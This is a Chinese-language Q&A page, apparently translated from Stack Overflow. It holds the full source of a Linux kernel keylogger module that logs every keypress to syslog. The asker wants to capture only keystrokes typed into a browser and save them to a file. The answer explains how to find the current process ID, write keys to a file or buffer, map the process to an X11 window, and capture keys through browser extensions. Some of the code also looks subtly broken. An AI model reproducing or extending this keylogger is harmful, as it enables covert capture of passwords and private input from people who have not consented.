Question

我有一个基本的密钥记录器内核模块，它将所有按键记录到syslog上。我只需要记录浏览器中的那些按键。有没有办法找到导致中断的应用程序的进程ID？另外，有没有办法将按键保存到文件？任何人都可以帮忙.. :)

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/keyboard.h>
#include <linux/notifier.h>

MODULE_LICENSE("GPL");
#ifdef notifier_block
struct notifier_block {
  int (*notifier_call)(struct notifier_block *, unsigned long, void *);
  struct notifier_block *next;
  int priority;
};
#endif
char call(int v)
{
    char val=NULL;
    if (v == 16) {val='q';}
    else if (v == 17) {val='w';}
    else if (v == 18) {val='e';}
    else if (v == 19) {val='r';}
    else if (v == 20) {val='t';}
    else if (v == 21) {val='y';}
    else if (v == 22) {val='u';}
    else if (v == 23) {val='i';}
    else if (v == 24) {val='o';}
    else if (v == 25) {val='p';}
    else if (v == 30) {val='a';}
    else if (v == 31) {val='s';}
    else if (v == 32) {val='d';}
    else if (v == 33) {val='f';}
    else if (v == 34) {val='g';}
    else if (v == 35) {val='h';}
    else if (v == 36) {val='j';}
    else if (v == 37) {val='k';}
    else if (v == 38) {val='l';}
    else if (v == 44) {val='z';}
    else if (v == 45) {val='x';}
    else if (v == 46) {val='c';}
    else if (v == 47) {val='v';}
    else if (v == 48) {val='b';}
    else if (v == 49) {val='n';}
    else if (v == 50) {val='m';}
    else if (v == 28) {val='\n';}
    else if (v == 57) {val='\t';}
    else if (v == 51) {val=',';}
    else if (v == 78) {val='+';}
    else if (v == 55) {val='*';}
    else if (v == 98) {val='/';}
    else if (v == 13) {val='=';}
    else if (v == 39) {val=';';}
    else if ((v == 11)||(v == 82)) {val='0';}
    else if ((v == 2)||(v == 79)) {val='1';}
    else if ((v == 3)||(v == 80)) {val='2';}
    else if ((v == 4)||(v == 81)) {val='3';}
    else if ((v == 5)||(v == 75)) {val='4';}
    else if ((v == 6)||(v == 76)) {val='5';}
    else if ((v == 7)||(v == 77)) {val='6';}
    else if ((v == 8)||(v == 71)) {val='7';}
    else if ((v == 9)||(v == 72)) {val='8';}
    else if ((v == 10)||(v == 73)) {val='9';}
    else if ((v == 12)||(v == 74)) {val='-';}
    else if ((v == 83)||(v== 52)) {val='.';}


    return val;
}

int hello_notify(struct notifier_block *nblock, unsigned long code, void *_param) {
  struct keyboard_notifier_param *param = _param;//local reference
  struct vc_data *vc = param->vc;
 char val;
 int ret = NOTIFY_OK;
  if (code == KBD_KEYCODE) {
    val=call(param->value);
    if(param->down)
        {   printk(KERN_INFO "KEYLOGGER %c",val); 
            c=val;      
        }
   // printk(KERN_DEBUG "KEYLOGGER %i %s\n", param->value, (param->down ? "down" : "up"));
  }
return ret;  
}

static struct notifier_block nb = {
  .notifier_call = hello_notify
};
EXPORT_SYMBOL_NOVERS(notifier_block);

static int hello_init(void)
{ 
  register_keyboard_notifier(&nb);
  return 0;
}

static void hello_release(void)
{
  unregister_keyboard_notifier(&nb);
}

module_init(hello_init);
module_exit(hello_release);

Answer 1

有没有办法找到导致中断的应用程序的进程ID？

current->pid

包括#include <linux/sched.h>

之后

会告诉您按照以下Stack Overflow question和Linux Kernel Development Chapter 6 on Interrupt Context中断的流程。

这假设您从通知程序所在的中断上下文中调用current->pid，除非您在通知程序中进行了大量计算，但这不应该完成。

如果您处于进程上下文或具有抢占式内核Andrew Medico注释，并且正在使用宏来获取有关current的信息，那么如果有任何重要时间，调度程序将更改它过去了。

根据TheCodeArtist的评论，以下Stack Overflow answer演示了对文件的写入。在内核中执行文件IO并不是一个好主意，尤其是从中断上下文。

将按键写入内存中的缓冲区而不是文件的示例here。

以下Stack Overflow question演示了如何从进程ID中获取进程名称。

但是，所有这些都是对具有给定名称的进程的按键操作，它无法确定具有名称的进程与浏览器窗口有任何关联。

请参阅以下Stack Overflow question，其中介绍了如何从进程ID获取X11窗口，以及以下Stack Overflow question使用XGrabKey和Xlib来获取用户空间中的密钥。

确保keypress来自特定浏览器的更可靠的方法，不仅在用户空间级别，而且在浏览器插件或扩展级别执行此操作。 Chrome的示例是here，Firefox的示例是here。

内核模块，用于识别按键是否来自浏览器窗口

1 个答案: